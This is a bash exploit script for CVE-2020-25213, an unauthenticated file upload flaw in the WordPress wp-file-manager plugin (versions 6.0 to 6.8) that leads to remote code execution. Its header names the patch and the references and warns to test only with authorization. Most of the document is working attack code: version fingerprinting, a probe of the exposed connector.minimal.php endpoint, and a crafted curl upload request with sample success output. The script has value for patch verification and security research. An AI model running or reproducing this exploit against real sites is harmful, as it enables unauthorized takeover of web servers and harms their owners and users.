WordPress Plugin Wp-FileManager 6.8 - RCE

# Exploit Title: WordPress Plugin Wp-FileManager 6.8 - RCE
# Date: September 4,2020
# Exploit Author: Mansoor R (@time4ster)
# CVE: CVE-2020-25213
# Version Affected: 6.0 to 6.8
# Vendor URL: https://wordpress.org/plugins/wp-file-manager/
# Patch: Upgrade to wp-file-manager 6.9 (or above)
# Tested on: wp-file-manager 6.0 (https://downloads.wordpress.org/plugin/wp-file-manager.6.0.zip) on Ubuntu 18.04

#!/bin/bash

#Description:
#The core of the issue began with the File Manager plugin renaming the extension on the elFinder library’s connector.minimal.php.dist file to .php so it could be executed directly, even though the connector file was not used by the File Manager itself. Such libraries often include example files that are not intended to be used “as-is” without adding access controls, and this file had no direct access restrictions, meaning the file could be accessed by anyone. This file could be used to initiate an elFinder command and was hooked to the elFinderConnector.class.php file

#Using connector.minimal.php file attacker can upload arbitrary file to the target (unauthenticated) & thus can achieve Remote code Execution.


#Patch commit details:
# https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2373068%40wp-file-manager%2Ftrunk&old=2372895%40wp-file-manager%2Ftrunk&sfp_email=&sfph_mail=

#Reference
#https://nvd.nist.gov/vuln/detail/CVE-2020-25213

#Credits:
#1. https://www.wordfence.com/blog/2020/09/700000-wordpress-users-affected-by-zero-day-vulnerability-in-file-manager-plugin/
#2. https://seravo.com/blog/0-day-vulnerability-in-wp-file-manager/

##WARNINGS: 
#Only test the exploit on websites you are authorized to.
#Don't upload reverse shell payloads or any files that can cause harm to organization.
#Also note that the uploaded files can be accessed by anyone unless secured by password.

## Usage:
# ========
# root@Hackintosh:~# ./wp-file-manager-exploit.sh -u http://192.168.1.54/wordpress --check
# 
# ============================================================================================
# wp-file-manager unauthenticated arbitrary file upload (RCE) Exploit [CVE-2020-25213]
# 
# By: Mansoor R (@time4ster)
# ============================================================================================
# 
# [+] Found wp-file-manager version: 6.0
# [+] Version appears to be vulnerable
# [+] Target: http://192.168.1.54/wordpress is vulnerable
# 
# root@Hackintosh:~# ./wp-file-manager-exploit.sh -u http://192.168.1.54/wordpress -f /tmp/mypoc.php --verbose
# 
# ============================================================================================
# wp-file-manager unauthenticated arbitrary file upload (RCE) Exploit [CVE-2020-25213]
# 
# By: Mansoor R (@time4ster)
# ============================================================================================
# 
# curl POC :
# curl -ks --max-time 5 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw"  -F "mtime[]=1576045135" -F "upload[]=@//tmp/mypoc.php" "http://192.168.1.54/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
# 
# [+] W00t! W00t! File uploaded successfully.
# Location:  /wordpress/wp-content/plugins/wp-file-manager/lib/php/../files/mypoc.php

# Exploit
#==========
echo
echo "============================================================================================"
echo "wp-file-manager unauthenticated arbitrary file upload (RCE) Exploit [CVE-2020-25213]"
echo
echo "By: Mansoor R (@time4ster)"
echo "============================================================================================"
echo

function printHelp()
{
	echo -e "
Usage:

-u|--wp_url      <string>		Wordpress target url
-f|--upload_file <string>		Absolute location of local file to upload on the target. (relative path will not work)
-k|--check				Only checks whether the vulnerable endpoint exists & have particular fingerprint or not. No file is uploaded.
-v|--verbose				Also prints curl command which is going to be executed
-h|--help				Print Help menu


Example:
./wp-file-manager-exploit.sh --wp_url https://www.example.com/wordpress --check
./wp-file-manager-exploit.sh --wp_url https://wordpress.example.com/ -f /tmp/php_hello.php --verbose
"
}

check="false"
verbose="false"
#Processing arguments
while [[ "$#" -gt 0 ]]
do
key="$1"

case "$key" in
    -u|--wp_url)
	    wp_url="$2"
	    shift
	    shift # past argument
	    ;;
    -f|--upload_file)
	    upload_file="$2"
	    shift
	    shift
	    ;;
    -k|--check)
	    check="true"
	    shift
	    shift
	    ;;
    -v|--verbose)
	    verbose="true"
	    shift
	    ;;
    -h|--help)
	    printHelp
	    exit
	    shift
	    ;;
    *)   
	    echo [-] Enter valid options
	    exit
	    ;;
esac
done

[[ -z "$wp_url" ]] && echo "[-] Supply wordpress target URL." && exit 
[[ -z "$upload_file" ]] && [[ "$check" == "false" ]]  && echo "[-] Either supply --upload_file or --check" && exit
[[ -n "$upload_file" ]] && [[ ! -s "$upload_file" ]]  && echo "[-] File supplied is either empty or not exist." && exit

#Script have dependency on jq
jq_cmd=$(command -v jq)
[[ -z "$jq_cmd" ]] && echo -e "[-] Script have dependency on jq. Insall jq from your package manager.\nFor debian based distro install using command: apt install jq" && exit

function checkWPFileManagerVersion()
{										#Takes 1 argument: url
	declare url="$1"
	declare target_endpoint="$url/wp-content/plugins/wp-file-manager/readme.txt"
	declare user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
	declare is_vulnerable="true"
	#declare response=$(curl -ks --max-time 5 --user-agent "$user_agent" "$target_endpoint" | grep -i "Stable tag: ")
	declare version=$( curl -ks --max-time 5 --user-agent "$user_agent" "$target_endpoint" | grep -A 5 "== Changelog ==" | grep -E -o "[0-9]\.[0-9]" | head -n 1 )
	if [ -n "$version" ];then
		#declare version=$(echo "$response" | awk {'print $3'})
		echo "[+] Found wp-file-manager version: $version"
		
		patched_version="6.9"
		#if [ $(awk 'BEGIN {print ('$version' > '6.9'}') ]; then
		smaller_version=$(echo -e "$version\n$patched_version" | sort -n | head -n 1)
		if [ "$version" != "$patched_version" ] && [ "$smaller_version" == "$version" ];then
			echo "[+] Version appears to be vulnerable"
		else
			echo "[-] Version don't appears to be vulnerable"
			is_vulnerable=false
		fi
	else	echo "[-] Unable to detect version. May be wp-file-manager plugin not installed."
		is_vulnerable=false
	fi
	if [ "$is_vulnerable" == "false" ];
	then
		echo -n "Do you still want to continue (y/N) : "
		read choice
		[[ "$choice" == "y" ]] || [[ "$choice" == "Y" ]] && echo && return
		exit	
	fi


}

function checkWPFileManager()
{										#Takes 1 argument: url
	declare url="$1"

	#Checking wp-file-manager plugin version:
	checkWPFileManagerVersion "$url"

	declare target_endpoint="$url/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
	declare user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
	
	declare response=$(curl -ks --max-time 5 --user-agent "$user_agent" "$target_endpoint")
	#echo "$response"
	#{"error":["errUnknownCmd"]} is returned when vulnerable endpoint is hit
	declare is_vulnerable=$(echo "$response" | grep "\{\"error\":\[\"errUnknownCmd\"\]\}")
	[[ -n "$is_vulnerable" ]] && echo "[+] Target: $url is vulnerable"
	[[ -z "$is_vulnerable" ]] && echo "[-] Target: $url is not vulnerable"	
}

function exploitWPFileManager()
{										#Takes 3 arguments: url & file_upload & verbose(true/false)
	declare url="$1"
	declare file_upload="$2"
	declare verbose="$3"
	declare target_endpoint="$url/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
	declare user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"

	if [ "$verbose" == "true" ];then
		echo "curl POC :"
		echo "curl -ks --max-time 5 --user-agent \"$user_agent\" -F \"reqid=17457a1fe6959\" -F \"cmd=upload\" -F \"target=l1_Lw\"  -F \"mtime[]=1576045135\" -F \"upload[]=@/$file_upload\" \"$target_endpoint\" "
		echo
	fi

	response=$(curl -ks --max-time 5 --user-agent "$user_agent" -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw"  -F "mtime[]=1576045135" \
		-F "upload[]=@/$file_upload" \
		"$target_endpoint" )
       #echo "$response"
       file_upload_url=$(echo "$response" | jq -r .added[0].url  2>/dev/null)
	[[ -n "$file_upload_url" ]] && echo -e "[+] W00t! W00t! File uploaded successfully.\nLocation:  $file_upload_url "
	[[ -z "$file_upload_url" ]] && echo "[-] File upload failed."
}	


[[ "$check" == "true" ]] && checkWPFileManager "$wp_url"
[[ -s "$upload_file" ]] && exploitWPFileManager "$wp_url" "$upload_file" "$verbose"

echo